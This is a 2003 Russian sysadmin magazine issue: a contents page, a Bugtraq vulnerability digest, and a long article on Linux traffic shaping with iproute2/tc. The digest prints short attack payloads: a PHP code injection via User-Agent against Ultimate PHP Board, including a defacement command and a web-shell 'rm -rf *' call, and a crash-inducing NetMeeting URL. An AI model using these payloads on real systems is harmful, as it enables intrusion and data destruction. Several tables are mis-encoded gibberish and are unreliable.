007 Системный Администратор 06 2003 by Dmitry Ushakov

№6(7) июнь 2003 подписной индекс 81655 журнал для cистемных администраторов, вебмастеров и программистов

Введение в OpenBSD Скрипты для подсчета трафика: реализация в FreeBSD Использование IPSec в Windows 200x Контрольная сумма на защите Linux/FreeBSD Создание загрузочных дискет и CD-дисков Linux

оглавление АДМИНИСТРИРОВАНИЕ

Виртуальный компьютер Денис Колисниченко dhsilabs@mail.ru

Статическая маршрутизация в Linux. iproute2 Часть2 Всеволод Стахов CEBKA@smtp.ru

БЕЗОПАСНОСТЬ 4

Введение в OpenBSD Денис Назаров pheonix@sysattack.com

Учет трафика с помощью программ MRTG и LAN Billing Денис Колисниченко dhsilabs@mail.ru

Скрипты для подсчета трафика: пример реализации в FreeBSD Денис Пеплин info@volginfo.ru

№6(7), июнь 2003

Виктор Игнатьев n4vy@nm.ru

26 Глубоководное погружение в чипсет Intel 875P Крис Касперски kk@sendmail.ru

36 СЕТИ Дальняя связь. Как это бывает 44

Использование IPSec в Windows 200x Максим Костышин Maxim_kostyshin@mail.ru

Сергей Яремчук grinder@ua.fm

HARDWARE

Создание загрузочных дискет и CD-дисков Linux Всеволод Стахов CEBKA@smtp.ru

Контрольная сумма на защите Linux/FreeBSD

Перехват Shell через YaBB

Ipfw и управление трафиком в FreeBSD Игорь Чубин imchubin@mail.ru

Денис Еланский grosm@samag.ru

BUGTRAQ

90 2, 13, 19, 35, 43, 77

bugtraq Удаленное выполнение произвольного PHP-кода через HTTP-заголовок User-Agent в Ultimate PHP Board Уязвимость обнаружена в Ultimate PHP Board (UPB). Удаленный пользователь может выполнить произвольный PHPкод на системе как UPB-администратор. F0KP сообщает, что в этом форуме присутствует серьезная уязвимость, которая позволяет атакующему выполнять произвольный PHP-код. UPB протоколирует некоторую информацию о посетителях (такую, как REMOTE_ADDR и HTTP_USER_AGENT) в текстовый файл в директории `db', который называется `iplog'. Затем в панели администратора администратор форума может вызвать admin_iplog.php, который просто подключает `iplog'. Например: e@some_host$ telnet hostname 80 Connected to hostname at 80 GET /board/index.php HTTP/1.0 User-Agent: <? phpinfo(); ?>

Когда администратор вызовет admin_iplog.php, ваш код PHP будет выполнен. Пример: 1. <? system( "echo \'hacked\' > ../index.html" ); ?> дефейсит главную страницу форума. 2. Создаст tcsh.php с правами httpd в корневой директории веб-сайта. Затем вам просто нужно будет зайти на http://hostname/tcsh.php?cmd=rm -rf * После внедрения кода через поле User-Agent вам нужно подождать, пока администратор посмотрит admin_iplog.php. Уязвимость обнаружена в Ultimate PHP Board 1.9.

Отказ в обслуживании, удаленное переполнение буфера и XSS в Microsoft Internet Information Service 4.0-5.1 (патч) Microsoft выпустила обновление для IIS 4.0-5.0, которое устраняет все ранее обнаруженные уязвимости в IIS 4.0-5.0, выпущенные после Windows NT 4.0 Service Pack 6a для IIS 4.0 и Windows 2000 Service Pack 2 для IIS 5.0 и IIS 5.1. Также патч устраняет четыре новые, недавно обнаруженные уязвимости, которые могут использоваться удаленным атакующим для XXS-нападения, DoS-атаки и выполнения произвольного кода на целевой системе. 1. Уязвимость Cross-Site Scripting обнаружена в механизме отображения сообщений об ошибках при переадресации запрашиваемого URL в IIS 4.0, 5.0 и 5.1. Атакующий может сконструировать злонамеренную ссылку, содержащую произвольный код сценария, который будет выполнен в браузере пользователя, кликнувшего на эту ссылку в контексте уязвимого сайта. 2. Переполнение буфера в IIS 5.0 связано с недостаточной проверкой запросов для некоторых типов веб-страниц, таких как SSI (server side includes). Для успешной эксплуатации уязвимости атакующий должен быть способен загрузить SSI-страницу на уязвимый IIS веб-сервер. Если атакующий впоследствии запросит эту страницу, произойдет переполнение буфера, позволяющее выполнить произвольный код на сервере с пользовательскими привилегиями.

3. Отказ в обслуживании связан с неправильным распределением памяти в IIS 4.0-5.0 при построении заголовков, которые будут возвращены веб-клиенту. Атакующий должен быть способен загрузить ASP-страницу на уязвимый IIS-сервер. Если атакующий впоследствии запросит ASP-страницу, которая возвращает чрезвычайно большой заголовок запрашиваемому веб-клиенту, IIS не ограничит объем выделяемой памяти для этого запроса, в результате работа сервера может аварийно завершиться вследствие исчерпания доступной памяти на системе. 4. Отказ в обслуживании связан с неправильной обработкой чрезмерно длинных WebDAV-запросов, переданных к IIS 5.0 и 5.1. В результате работа IIS аварийно завершится и сервер будет перезапущен автоматически после аварии. Этот патч требует предварительно установленный патч MS02-050. Уязвимость происходит, когда клиент получает запрос более 49,153 байт, используя метод 'PROPFIND' или 'SEARCH'. Уязвимость обнаружена в Internet Information Service 4.0-5.1.

Чрезмерно длинный запрос NetMeeting URL приводит к аварийному завершению работы Windows-систем Отказ в обслуживании обнаружен в операционных системах Microsoft Windows 2000 и XP в обработке NetMeeting URL. Удаленный пользователь может сконструировать URL, который при загрузке аварийно завершит работу операционной системы. Сообщается, что злонамеренный NetMeeting CallTo URL (callto:msils) может вызвать 'Kmode'-исключение. Пример: callto:msils/ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+type=directory

Уязвимость подтверждена на системах Windows 2000 SP3 и Windows XP Pro.

Demarc PureSecure ракрывает пароли к базе данных локальному пользователю Уязвимость обнаружена в Demarc PureSecure. Сервер хранит пароли для входа на сервер в открытом виде в файле на системе. Сообщается, что пароли базы данных и другая информация доступа для входа на сервер хранится в незашифрованном виде. Локальный пользователь может просмотреть эту информацию и затем получить доступ к удаленной базе данных. Уязвимость обнаружена в Demarc PureSecure 1.6. Составил Александр Антипов

администрирование

СТАТИЧЕСКАЯ МАРШРУТИЗАЦИЯ В LINUX. IPROUTE2 ЧАСТЬ 2

ВСЕВОЛОД СТАХОВ

администрирование Во второй части описаны принципы управления сетевым трафиком посредством очередей. Эта тема зачастую не упоминается в руководствах, но на самом деле с помощью очередей сетевых пакетов можно выполнять широкий круг исключительно полезных задач. Приведу несколько примеров, которые часто встречаются на практике. Итак, очереди способны контролировать скорость передачи пакетов, ограничивая нежелательный сетевой трафик по скорости (позволяет избежать выход из строя сервера или отдельных демонов в результате DoS- и даже DDoS-атак). Позволяет осуществлять распределение нагрузки между несколькими сетевыми интерфейсами. С помощью очередей также можно добиться существенного увеличения производительности сети в целом при помощи разделения различных видов трафика (например, интерактивные данные должны обрабатываться быстрее) на основе поля ToS (type of service – тип услуг). Iproute2 также дает возможность ограничения SYNflood и ICMP-dDoS атак. Кроме этого, можно устанавливать свой предел скорости на основе различных фильтров. Я начну с некоторых пояснений терминологии. Что есть очередь в данном контексте? Очередь – это механизм, позволяющий управлять приемом и передачей пакетов. Очередь является физическим объектом в памяти и содержит пакеты, поступившие на сетевой интерфейс. Чтобы понять принцип работы очередей (а именно возможности ограничения скорости), рассмотрим такой пример: пакет поступает в пустую очередь и передается на обработку, следующий пакет поступает в очередь и ждет обработки первого пакета (здесь под словом обработка подразумевается доставка пакета ядром на сокет-приемник), если в очередь поступает много пакетов, то они не успевают обрабатываться, и очередь растет. Если размер очереди ограничен (а он ограничен всегда), то следующие пакеты не попадают в очередь, а просто отбрасываются. Таким образом, регулируя длину очереди и зная время обработки одного пакета, можно вычислить наибольшую скорость передачи пакетов. Замечу, что утилита tc пакета iproute2, выполняющая контроль над очередями, осуществляет преобразование скорость → длина очереди автоматически, и вам необходимо указывать не непосредственно длину очереди, а лимит скорости в формате: mbit – мегабиты в секунду; kbit – килобиты в секунду; mbps – мегабайты в секунду; kbps – килобайты в секунду. На деле реализация очередей несколько отличается от вышеприведенной, т.к. отбрасывание пакетов из конца очереди приводит к неприятным последствиям для TCP-протокола: например, когда сообщение потеряно, приложение-отправитель может рассматривать это как сигнал о том, что оно посылает пакеты слишком быстро. TCP реагирует на такой сигнал замедлением отправки сообщений. Но когда очередь полна, то часто несколько сообщений отбрасываются друг за другом – в результате целый ряд приложений решает замедлить передачу. После этого приложения зондируют сеть для определения ее загруженности и буквально через несколько секунд возобновляют передачу с прежним темпом, что

№6(7), июнь 2003

опять приводит к перегрузке. Поэтому обычно очередь просто отбрасывает лишние пакеты от различных источников (обычно используется алгоритм генерации случайных чисел), если за определенный промежуток времени её размер превзошёл некий лимит. Такой механизм называется «случайное раннее обнаружение» (Random Early Detection, RED). Вторым краеугольным камнем системы управления трафиком iproute2 является многополосность очередей. Представим себе, что у сетевого интерфейса 2 независимые очереди, имеющие различный приоритет. То есть пакеты, поступившие в очередь 2, будут обрабатываться, только если в очереди 1 пакетов, ждущих обработки, нет. Что же дает такая схема? С помощью механизма полос можно выделять трафик, требующий быстрой обработки, и помещать его в 1-ю полосу, в то время как остальной трафик, не требующий особенно высокой скорости (например, ftp, smtp, pop) помещается в полосу с меньшим приоритетом (большим порядковым номером). Нечто подобное предлагают сети ATM или Frame Relay, но iproute2 позволяет организовать подобное поведение на любом интерфейсе. Необходимость в такой системе возникает при передаче интерактивных данных, например, видео или голосовых (ipтелефония). Существует следующий подход к выделению интерактивного трафика: поле ToS – метка, присваиваемая пакету с помощью netfilter (--tos) или присваиваемая непосредственно сетевой службой (ftp, smtp...). Поле ToS является ранней попыткой реализации сервиса QoS, обеспечивающей достаточно небольшой набор значений, приведу таблицу наиболее популярных протоколов и значения ToS для них: минимальная задержка – telnet, ftp (команды), ssh, smtp (команды), DNS (udp); максимальная полоса пропускания – ftp (данные), smtp (данные); максимальная надежность; минимальная стоимость. В настоящее время в основном используются значения «минимальная задержка» и «максимальная полоса пропускания» (хотя я не исключаю других вариантов). Очереди, имеющие возможность фильтрации трафика по полосам, называют CBQ, (Class-Based Queuing – очередь, классифицирующая пакеты), хотя это и не совсем правильно, т.к. существует отдельный тип очереди cbq, поэтому очереди такого типа я в дальнейшем буду обозначать как classfull. Команда tc имеет возможность управления множеством типов очередей, поэтому я бы хотел несколько подробнее остановиться на описании синтаксиса этой команды (тем более, что зачастую длинные цепочки команд tc зачастую выглядят весьма устрашающе). Для корректной работы traffic control необходимо включить поддержку нужных типов очередей на уровне ядра. При конфигурации ядра необходимо зайти на страницу Networking Options, войти в пункт QoS and/or fair queueing, после чего в выбранном подразделе выделить галочкой опцию QoS and/or fair queueing. В открывшемся списке параметров отметьте нужные типы очередей и опции traffic control. В принципе можно включить все опции, т.к. это

администрирование может пригодиться в будущем при расширении схемы контроля трафика. Как и ip, команда tc может управлять несколькими сетевыми объектами. Их, собственно, три: qdisc – управление очередями; class – управление определёнными частями очереди, например, полосами; filters – управление фильтрами (фильтр определяет, в какую полосу очереди попадет тот или иной пакет на основании определенных параметров пакета, например, протокола, порта, метки, и т. д.). Синтаксис команд следующий (нагло содрано мною из мануала): tc qdisc [add | change | replace | del | link] dev DEV ↵ [parent qdisc-id | root] [handle qdisc-id] queue-type ↵ [qdisc specific parameters] tc class [add | change | replace | del] dev DEV ↵ parent qdisc-id [classid class-id] queue-type ↵ [qdisc specific parameters] tc filter [add | change | replace | del] dev DEV ↵ [parent qdisc-id | root] protocol protocol prio ↵ priority filter-type [filtertype specific parameters] ↵ flowid flow-id

tc qdisc show [ dev DEV ] – показ очередей интерфейса; tc class show dev DEV – показ классов сетевого уст-

Для примера добавлю ещё одну очередь: tc qdisc add dev eth0 parent 1: handle 20: queue-type [parameters]

Как происходит извлечение пакета из очереди ядром? Ядро запрашивает очередь самого верхнего уровня (root) о необходимости извлечения пакета. Очередь верхнего уровня проверяет очереди нижнего уровня и выбирает ту, которая подходит по определенным параметрам (это зависит от типа очереди-контейнера и её настроек), после осуществления выбора очередь верхнего уровня извлекает пакет и передает его выше (очереди, находящейся выше по иерархии, или ядру, если это очередь root). Таким образом, сама иерархия построена по принципу минимальных знаний о нижних уровнях. Каждый уровень знает о существовании только одного нижнего уровня и осуществляет выбор только в рамках одного уровня. Так примерно можно представить схему уровней очередей:

ройства;

tc filter show dev DEV – показ фильтров интерфейса DEV. В основном отметьте последние 3 команды, т.к. назначение первых будет подробно описано далее на конкретных примерах. Параметров у различных объектов очень много, чтобы описать их все, поэтому сейчас я бы хотел пояснить значение параметров parent qdisc-id и handle (classid) qdisc-id. На самом деле при добавлении новой очереди к очереди-контейнеру (classfull-очереди, понятие будет рассмотрено далее) производится построение дерева объектов очередей (на самом деле дерево содержится не в ядре, которое ничего не подозревает о наличии подочередей, а выбор подочереди для извлечения из неё пакета осуществляет очередь-контейнер). Например: tc qdisc add dev eth0 root handle 1: classful-queue [parameters]

Дерево выглядит так:

Добавляем далее: tc qdisc add dev eth0 parent 1: handle 10: queue-type [parameters]

По моему мнению, построение дерева очередей – предмет большинства ошибок в скриптах, т.к. очень легко перепутать идентификаторы очередей. Для тех, кто собрался продумывать систему контроля трафика, необходимо заранее спланировать (например, нарисовать схему на бумаге) будущее дерево, дабы избежать досадных промахов. Особенно важным становится этот аспект при построении сложных очередей, состоящих из нескольких простых очередей. Замена (удаление) очередей производится командой tc qdisc change (del) с указанием значений parent и handle: # tc qdisc del dev eth0 root handle 1: queue-type

После некоторого чисто теоретического вступления настало время поговорить о типах очередей и о применении

администрирование их на практике. Таковых типов существует 6. Среди них 3 типа являются classfull (возможность разделять трафик по полосам): prio, cbq, htb, а 3 являются обычными (classless): tbf, pfifo, sfq. Classless-очереди являются более простыми объектами, чем classfull, и способны лишь устанавливать определённые ограничения на передачу трафика. Основное отличие 2 семейств очередей в том, что classfull-очереди содержат внутри себя classless-«подочереди», отличающиеся приоритетом. Таким образом, classfull-очереди являются контейнерными объектами и позволяют выполнять разделение трафика по другим очередям (в терминологии traffic control – классами). Для начала я рассмотрю classless-очереди, а потом перейду к более сложным (но, несомненно, более интересным) classfull-очередям. TBF(token bucket filter) – простой тип очереди, не выполняющий разделения пакетов, который удерживает скорость передачи пакетов на примерно постоянном уровне (меньшем, чем реальная скорость интерфейса). При этом, если скорость передачи меньше заданного значения, то пакеты кладутся в очередь, пока не будет достигнут определённый размер очереди, который затем передается на обработку (но происходит некоторая задержка данных, т.к. происходит ожидание необходимого количества пакетов для поддержания постоянной скорости передачи). Если же скорость превышает заданную, то «лишние» пакеты просто отбрасываются. Такой тип очереди нельзя порекомендовать для сетей, где очень резко меняется загруженность, т.к. могут возникнуть неоправданные задержки при слабой загрузке сети и снижение пропускной способности интерфейса при большой загрузке. Основные параметры tbf: limit или latency – число байт, которые могут быть помещены в очередь для ожидания, фактически – максимальное время, которое может провести пакет в очереди (чем больше limit, тем сильнее увеличивается задержка данных при низкой загрузке интерфейса); burst (buffer или maxburst) – длина буфера очереди в байтах, чем больше заданная скорость передачи, тем больше должен быть буфер данных, например, для скорости 10 mbit необходим буфер не менее 10 Кб, а для скорости 256 kbit – не менее 1 Кб. В общем, рассчитывается как rate_in_bytes/100. Для 100 Мбит – 104857600/800 = 1310172 байт. При указании этого параметра учтите, что все указанные значения – минимальные, ничто не мешает вам увеличить этот параметр для гарантии того, что пакеты не будут отбрасываться очередью по причине переполнения последней. Фактически размер буфера ограничен только размером физической памяти системы (т.к. буфер очереди обязан находиться в памяти); mpu – минимальный размер пакета для помещения в очередь, пакеты меньшей длины отбрасываются, для сетей Ethernet каждый пакет должен быть больше 64 байт; rate – заданый уровень скорости; peakrate – максимально возможная скорость передачи пакетов из очереди в интерфейс, по умолчанию 1 Мбит/с. С одной стороны, tbf снижает в общем пропускную способность интерфейса, но существуют ситуации, когда это

№6(7), июнь 2003

оказывается полезным (хотя, честно говоря, я с такими ситуациями не встречался, но, может быть, кому-то это окажется полезным). Например, имеется ADSL-модем, который имеет очень большую очередь на upload. Поэтому при попытке передачи данных в сеть, скорость загрузки данных сильно падает, т.к. на модеме заполняется длинная очередь, контролировать которую не представляется возможным. Одним из вариантов решения проблемы является размещение tbf-очереди на Linux-маршрутизаторе и установке максимального времени ожидания пакета в очереди. Пример конфигурации: # tc qdisc add dev ppp0 root tbf rate 220kbit ↵ latency 50ms burst 1500

Скорость rate выбрана исходя из максимальной скорости интерфейса (в данном примере 256 Кбит/с) минус несколько процентов. Размер очереди burst выбран также соответственно скорости. Особо отметьте параметр latency: чем меньше этот параметр, тем меньше пакеты будут задерживаться в очереди – меньшая задержка увеличивает интерактивность данных. Заметьте, tbf не спасет вас от флуда (см. замечание далее в описании sfq-очередей). Следующий тип classless-очереди – sfq (stochastic fairness queueing – очередь равномерного случайного распределения пакетов). Алгоритм работы этого типа таков: данные, поступающие в очередь, разделяются на достаточно большое количество «виртуальных» подочередей (виртуальных, т.к. в памяти существует одна очередь, но она представляется совокупностью многих подочередей), из подочередей данные извлекаются по очереди. Т.е. это напоминает сети Token Ring с передачей маркера по кольцу. Подочередь, получившая маркер, передает один пакет данных, а маркер переходит к следующей подочереди. Случайность передачи обеспечивается тем, что размер подочередей обычно не фиксируется жестко и данные могут попадать в различные подочереди. Такая очередь весьма полезна при сильной загрузке сетевого интерфейса многими клиентами. SFQ не позволяет захватить одному клиенту все ресурсы обработки пакетов, поэтому обеспечивается примерно одинаковая скорость поступления данных от различных клиентов. Учтите, это не спасет от DoS или банального флуда, т.к. любая очередь управляет скоростью обработки данных, т.е. фактически скоростью передачи ответных пакетов, а при наводнении пакетами интерфейса, последний не сможет принимать другие пакеты, и очередь в этом случае не помогает, т.к. нарушается работа самого сетевого устройства. Таким образом, sfq-очереди эффективны для регулирования скорости передачи пакетов различным клиентам. Никогда не забывайте об этом факте (хотя далее будет приведен пример, позволяющий «спасти» систему от DoS-атак при помощи очередей, но при этом, если наводняется сам интерфейс, то работать он все равно не будет). Параметры sfq-очередей: pertrub – число секунд, после которого происходит перерасчет длины подочередей, по умолчанию – 0, т.е. переконфигурирования не происходит, рекомендуется устанавливать этот параметр, равным примерно 10 секундам;

администрирование quantum – число байт, которые может передать подочередь, получившая маркер, значение по умолчанию – MTU интерфейса – подходит для большинства случаев, т.к. это гарантирует, что очередь сможет передать хотя бы один пакет. Sfq-очереди удобно применять для балансирования нагрузки сервера: # tc qdisc add dev eth0 root sfq pertrub 10

Наконец, самый простой тип classless-очереди – pfifo (лимит пакетов) и bfifo (лимит байт). Эти очереди являются простыми очередями определённой длины, не выполняющими никаких действий над поступающими в них пакетами. Единственный параметр таких очередей – limit, означающий размер очереди в пакетах (pfifo) и в байтах (bfifo). # tc qdisc add dev eth0 root pfifo limit 500

Создает очередь длиной в 500 пакетов. Прежде чем приступать к чтению следующего раздела, полезно вспомнить о принципах построения дерева объектов очередей, т.к. далее будет рассказываться о classfull-очередях, при создании которых необходимо добавлять очереди (или классы) в очереди-контейнеры. Итак, classfull-очереди. Как работает такая очередь? Гм... строго говоря, classfull-очередь – это обычно некий контейнер, содержащий другие очереди. Решение, куда отправить тот или иной пакет, принимается на основании фильтров (о них будет рассказано далее) или на основании приоритета очереди-потомка. Решение, откуда отправлять пакет на обработку верхнему уровню, принимается на основании приоритета и настроек очереди-контейнера. Очереди же внутри контейнера не знают о существовании родителя непосредственно, т.е. они продолжают вести себя обычным образом, но все операции осуществляются не с ядром, а с очередью верхнего уровня. Итак, далее я бы хотел рассказать о некоторых типах classfull-очередей, которые являются наиболее полезными на практике. Первый тип – prio-очереди. Очередь такого типа может разделять трафик между тремя полосами, которые являются очередями любого типа. Разделение осуществляется на основании фильтров (см. далее). Каждая подочередь, входящая в prio, имеет свой приоритет, определяемый значением handle. При этом больший приоритет имеет та подочередь, которая относится к классу 1:. Т.е. при извлечении пакета из очереди вначале исследуется подочередь с большим приоритетом, если в последней нет пакетов для обработки, то выбирается очередь с более низким приоритетом и т. д. Каким же образом трафик разделяется между полосами? Есть два пути: использование фильтров и использование поля TOS. На основании поля TOS различный вид трафика помещается в подочереди с разным приоритетом (отметьте, что очереди с меньшим номером обладают большим приоритетом):

TOS Ìàêñèìàëüíàÿ íàäåæíîñòü Ìèíèìàëüíàÿ öåíà Ìàêñèìàëüíàÿ ïðîïóñêíàÿ ñïîñîáíîñòü Ìèíèìàëüíàÿ çàäåðæêà (èíòåðàêòèâíûé)

– – – –

¹ ïîëîñû 1 2 2 1

Среди параметров prio-очереди можно отметить только 2: bands – число полос (по умолчанию – 3) и priomap – карта распределения трафика в зависимости от поля TOS. Эти параметры редко приходится менять, т.к. для сложных ситуаций лучше применять более сложные очереди. Очередь prio очень полезна, если необходимо повысить общую пропускную способность интерфейса. Разделение на основе TOS особенно выгодно в сетях Unix, т.к. популярные сервера и приложения умеют грамотно устанавливать флаг TOS (например, SSH устанавливает TOS «Минимальная задержка», а scp – «Максимальная пропускная способность»). К сожалению, в сетях, где имеются клиенты M$, ситуация усложняется, т.к. по неизвестной причине M$ ставит свои ОС в привилегированные условия, устанавливая TOS «Интерактивный» по умолчанию. Prio еще полезна тем, что может содержать очереди различного типа, например, tbf или sfq. Это её основное отличие от очереди pfifo_fast, которая создает три полосы pfifo по умолчанию и не позволяет менять тип подочередей. Поэтому тип pfifo_fast относится к classless, хотя осуществляет разделение трафика, но подочереди являются неотделимой частью самой pfifo_fast. Приведу пример создания prio-очереди, содержащей 2 подочереди sfq и одну tbf: Псевдо-дерево будет выглядеть так:

# tc qdisc add dev eth0 root handle 1: prio

Заметьте, что 1: добавляет автоматически три полосы – 1:1 1:2 1:3, т.к. по умолчанию количество полос равно трем. # tc qdisc add dev eth0 parent 1:1 handle 10: sfq pertrub 10 # tc qdisc add dev eth0 parent 1:2 handle 20: ↵ tbf rate 1mbit buffer 15000 latency 10ms # tc qdisc add dev eth0 parent 1:3 handle 30: sfq pertrub 10

Если вы попробуете передавать данные различного типа, например ssh и ftp, то заметите, что интерактивный трафик поступает в 1-ю и 2-ю полосы, а неинтерактивный – в 3-ю полосу. Если prio является достаточно простым типом очереди, то следующие типы не обладают этим свойством. Прежде всего, это тип cbq (classfull based queueing). Этот тип позволяет добавлять множество классов и осуществлять весьма нетривиальную обработку трафика. Распределение трафика по классам осуществляется посредством фильтров. Но cbq-очереди слишком сложны и не всегда делают то, что от них требуется. По этой причи-

администрирование не я буду рассматривать не cbq-очереди, а их ближайших родственников – htb (hierarchial token bucket), которые имеют те же возможности, что и cbq-очереди, но лишены недостатков последних – излишней громоздкости синтаксиса и непрозрачности (единственным недостатком является то, что для их использования необходимо патчить 2.2 ядро, но 2.4.20 ядро имеет встроенную поддержку этого типа очередей). Итак, позвольте представить, htb-очереди. Для начала убедитесь, что вы имеете ядро версии 2.4.20 и выше. Если такового не имеется, необходимо сходить на сайт проекта htb – http://luxik.cdi.cz/~devik/qos/htb/ и скачать пакет htb3, содержащий патчи для ядер 2.2 и 2.4, а также исправленную версию tc. Находится этот пакет по адресу http://luxik.cdi.cz/~devik/qos/htb/v3/htb3.6-020525.tgz. Что же позволяют делать htb-очереди? Они позволяют регулировать полосу пропускания трафика и фактически создавать на базе одного интерфейса несколько более медленных, и разделять трафик по полосам, отличающимся по скорости передачи. На самом деле htb-очередь – очень полезная вещь. Допустим, нам необходимо повысить полосу пропускания www- и smtp-трафика, но понизить скорость ftp-трафика. С помощью очереди prio можно лишь менять приоритет разного рода трафика, но если передается только ftp-данные, то каким бы ни был приоритет ftp, все равно этот трафик будет передаваться с максимальной скоростью. Единственной возможностью решения такой ситуации для prio-очереди является использование в качестве полос tbf-очередей. В то же время, если необходимо организовать весьма нетривиальное распределение трафика и ограничение полос пропускания, то лучше всего использовать htb-очередь. Для упрощения понимания принципов создания htb-очередей приведу простой пример. Допустим, к серверу подключено 2 клиента (А и Б). Эти клиенты пользуются только www- и smtp-сервисами (такое упрощение сделано для наглядности, далее будут приведены примеры реальных скриптов). Имеется 10-ти мегабитный интерфейс, полосы пропускания будут выглядеть таким образом: Êëèåíò A A B other

Ñåðâèñ smtp www all all

Ïîëîñà ïðîïóñêàíèÿ 2mbit 3mbit 1mbit 2mbit

Команды, реализующие эту схему, будут выглядеть так:

äîáàâëåíèå ñàìîé î÷åðåäè → äîáàâëåíèå êëàññîâ → äîáàâëåíèå ôèëüòðîâ, ðàñïðåäåëÿþùèõ òðàôèê ïî êëàññàì → äîáàâëåíèå î÷åðåäåé (îáû÷íî classless, ïî óìîë÷àíèþ pfifo), ðåàëèçóþùèõ êëàññû

Команды, делающие это, представлены ниже. Добавляем классы: tc class add htb rate tc class add htb rate tc class add htb rate tc class add htb rate tc class add htb rate

dev eth0 parent 1: classid 1:1 ↵ 9mbit ceil 9mbit burst 12500 dev eth0 parent 1:1 classid 1:10 2mbit ceil 9mbit burst 12500 dev eth0 parent 1:1 classid 1:11 3mbit ceil 9mbit burst 12500 dev eth0 parent 1:1 classid 1:12 1mbit ceil 9mbit burst 12500 dev eth0 parent 1:1 classid 1:13 3mbit ceil 9mbit burst 12500

↵ ↵ ↵ ↵

Псевдодерево очередей будет выглядеть так:

Сделаю некоторые пояснения относительно параметров классов htb. Параметр rate означает полосу пропускания, ceil означает максимальную скорость обмена класса с родительской очередью (или классом). Также есть возможность указания приоритета каждого класса аналогично prio-очереди при помощи параметра prio (аналогично меньшее значение параметра означает больший приоритет). Существуют 2 параметра burst и cburst, регулирующие параметры буфера очереди: burst – размер в байтах буфера, для Intel-машин вычисляется по формуле (speed_in_bits)/(1008); для нашего случая минимальное значение – 12500 байт; cburst – означает минимальный размер данных в байтах, передаваемых родительской очереди; обычно не меньше mtu-интерфейса. После добавления классов логичным является добавление средств, распределяющих трафик по этим классам. Таким средством являются фильтры. Вернемся к нашему простому примеру. Для него фильтры будут добавляться так:

# tc qdisc add dev eth0 root handle 1: htb default 13

Думаю, эта команда не вызывает трудностей в понимании. Параметр default 13 означает, что по умолчанию трафик будет направляться на полосу с идентификатором 13. Трафик «по умолчанию» означает тот трафик, который не был распределён при помощи фильтров. Теперь необходимо добавить полосы – классы. Учтите, что классы – это объекты, которые являются составными частями classfull-очередей, но сами по себе не являются очередями. Таким образом, схема составления htbочереди выглядит примерно так:

№6(7), июнь 2003

# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵ match ip src A_ip match ip dport 80 0xffff flowid 1:10 # tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵ match ip src A_ip match ip dport 25 0xfff flowid 1:11 # tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵ match ip src B_ip flowid 1:12

Поясню все по порядку. Директива protocol означает протокол для фильтрации, parent – очередь, c которой работает фильтр (в данном случае корневая htb), prio – приоритет данного фильтра (чем меньше значение, тем больше приоритет), u32 значит, что ведется поиск совпадений в любой части пакета, match ... – правила совпадения оп-

администрирование ределенных полей пакета с заданными, если этой директивы нет, то под этот фильтр подходят любые неотфильтрованные ранее пакеты (хотя необходимо установить более низкий приоритет для этого фильтра, иначе он будет обрабатывать весь трафик, что не есть хорошо):

поиск совпадения области роутинга: # ip route add some_network via some_gate dev ↵ eth0 realm 2

область обозначается директивой realm, и фильтр для пакетов, попадающих в эту область (т.е. тех, что направлены в сеть some_network):

# tc filter add dev eth0 protocol ip parent 1:0 ↵ prio 2 flowid some_band

Директива flowid обозначает идентификатор класса, куда фильтр будет отправлять трафик. Как правильно строить правила совпадения? При построении учтите несколько общих правил: если в одной команде tc filter add встретилось несколько директив match, то они объединяются операцией «И»; если необходимо создать несколько правил, объединенных «ИЛИ», то необходимо создавать эти правила в различных командах tc filter add. Составлять правила фильтров совсем несложно:

match ip src ip_addr – поиск совпадения IP-адреса от-

# tc filter add dev eth0 parent 1:0 protocol ip ↵ prio 1 route to 2

Если нужно выбирать пакеты, приходящие из области маршрутизации, то нужно просто заменить to на from; отбор трафика, превосходящего определенный лимит скорости (очень полезно): в команде tc filter можно применять те же директивы, что и в tbf-очереди при указании особого параметра – police: buffer mtu mpu rate

правителя;

match ip dst ip_addr – поиск совпадения IP-адреса на

значения (полезно при маршрутизации); match ip sport | dport port_num 0xffff – поиск совпадения порта источника или порта назначения, назначение символов 0xffff – установка маски совпадения.

Существует также возможность фильтрации на основе меток netfilter. Метки ставятся с помощью iptables следующим образом: # iptables -A FORWARD -t mangle -i eth0 -j MARK --set-mark 6

где вместо 6-ки может быть любое число до 255. Установка фильтра выглядит несколько необычно: # tc filter add dev eth0 ptrotocol ip parent 1:0 ↵ prio 1 handle 6 fw classid 1:1

Обратите внимание на отсутствие директивы u32, директивы handle, fw и classid (вместо flowid). Далее будет показано на примере, как выбирать пакеты с установленными флагами SYN, ASK, выбирать протокол (TCP, UDP, ICMP), что позволяет предотвращать некоторые виды DoS-атак. Для понимания фильтров, которые будут рассмотрены чуть позже, разъясню назначение некоторых дополнительных параметров фильтров: поиск «сырых» байт – match [u32|u16|u8] 0xXX 0xMASK at where, где маска – 16-ое значение маски соответствующего формата, например u32 – 32 бита, u16 – 16 бит, u8 – 8 бит соответственно. Параметр where – обычное число, означающее количество соответствующих элементов (u32, u16, u8), отсчитанных от начала пакета. Например, фильтр match u8 0x10 0xff at 33 означает выбор поля ToS «Минимальная задержка»; поиск протокола – match ip protocol 6 0xff – поиск пакетов TCP-протокола; непосредственный поиск поля ToS – match ip tos 0x10 0xff;

Если трафик превышает установленный лимит, то сам фильтр может выполнять определённые действия: drop – отбрасывание трафика, превысевшего лимит; pass – пропускание такого трафика.

